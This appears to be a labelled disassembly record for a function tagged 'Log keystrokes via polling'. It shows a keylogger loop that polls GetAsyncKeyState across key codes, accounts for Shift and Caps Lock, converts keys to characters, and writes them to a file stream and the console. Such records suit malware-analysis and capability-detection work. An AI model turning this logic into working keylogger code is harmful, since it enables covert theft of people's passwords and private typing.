Function at 0x4015b8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x54
mov dword [esp], 0x14
call sym._GetKeyState_4
sub esp, 4
cwde
and eax, 1
test eax, eax
setne al
mov byte [ebp - 9], al
mov dword [esp], 0x10
call sym._GetAsyncKeyState_4
sub esp, 4
shr ax, 0xf
mov byte [ebp - 0xa], al
lea eax, [ebp - 0x28]
mov ecx, eax
call method.std::map_int__bool__std::less_int___std::allocator_std::pair_int_const__bool_____.map__
mov dword [esp], 0x1b
call sym._GetAsyncKeyState_4
sub esp, 4
test ax, ax
jns 0x401622
mov dword [esp], 0x11
call sym._GetAsyncKeyState_4
sub esp, 4
test ax, ax
js 0x401629
mov eax, 1
jmp 0x40162e
mov eax, 0
test al, al
je 0x40176e
mov dword [esp], 0xa
call sym._Sleep_4
sub esp, 4
mov dword [esp], 0x14
call sym._GetKeyState_4
sub esp, 4
cwde
and eax, 1
test eax, eax
setne al
mov byte [ebp - 0xb], al
mov dword [esp], 0x10
call sym._GetAsyncKeyState_4
sub esp, 4
shr ax, 0xf
mov byte [ebp - 0xc], al
mov dword [ebp - 0x2c], 8
mov eax, dword [ebp - 0x2c]
cmp eax, 0xfe
jg 0x40175f
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._GetAsyncKeyState_4
sub esp, 4
shr ax, 0xf
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x4016ca
lea eax, [ebp - 0x28]
lea edx, [ebp - 0x2c]
mov dword [esp], edx
mov ecx, eax
call method.std::map_int__bool__std::less_int___std::allocator_std::pair_int_const__bool_____.operator___int_const_
sub esp, 4
movzx eax, byte [eax]
xor eax, 1
test al, al
je 0x4016ca
mov eax, 1
jmp 0x4016cf
mov eax, 0
test al, al
je 0x401736
movzx ebx, byte [ebp - 0xb]
movzx ecx, byte [ebp - 0xc]
mov edx, dword [ebp - 0x2c]
lea eax, [ebp - 0x44]
mov dword [esp + 0xc], ebx
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.getCharFromKeyCode_abi:cxx11__int__bool__bool_
lea eax, [ebp - 0x44]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::empty___const
xor eax, 1
test al, al
je 0x40172c
lea eax, [ebp - 0x44]
mov dword [esp + 4], eax
mov dword [esp], 0x410020
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x44]
mov dword [esp + 4], eax
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x44]
mov ecx, eax
call fcn.00403d9c
lea eax, [ebp - 0x28]
lea edx, [ebp - 0x2c]
mov dword [esp], edx
mov ecx, eax
call method.std::map_int__bool__std::less_int___std::allocator_std::pair_int_const__bool_____.operator___int_const_
sub esp, 4
mov edx, eax
movzx eax, byte [ebp - 0xd]
mov byte [edx], al
mov eax, dword [ebp - 0x2c]
add eax, 1
mov dword [ebp - 0x2c], eax
jmp 0x40167d
mov ecx, 0x410020
call sym.std::ostream::flush__
jmp 0x4015fa
lea eax, [ebp - 0x28]
mov ecx, eax
call fcn.0040724c
jmp 0x40179e
mov ebx, dword [ebp - 4]
leave
ret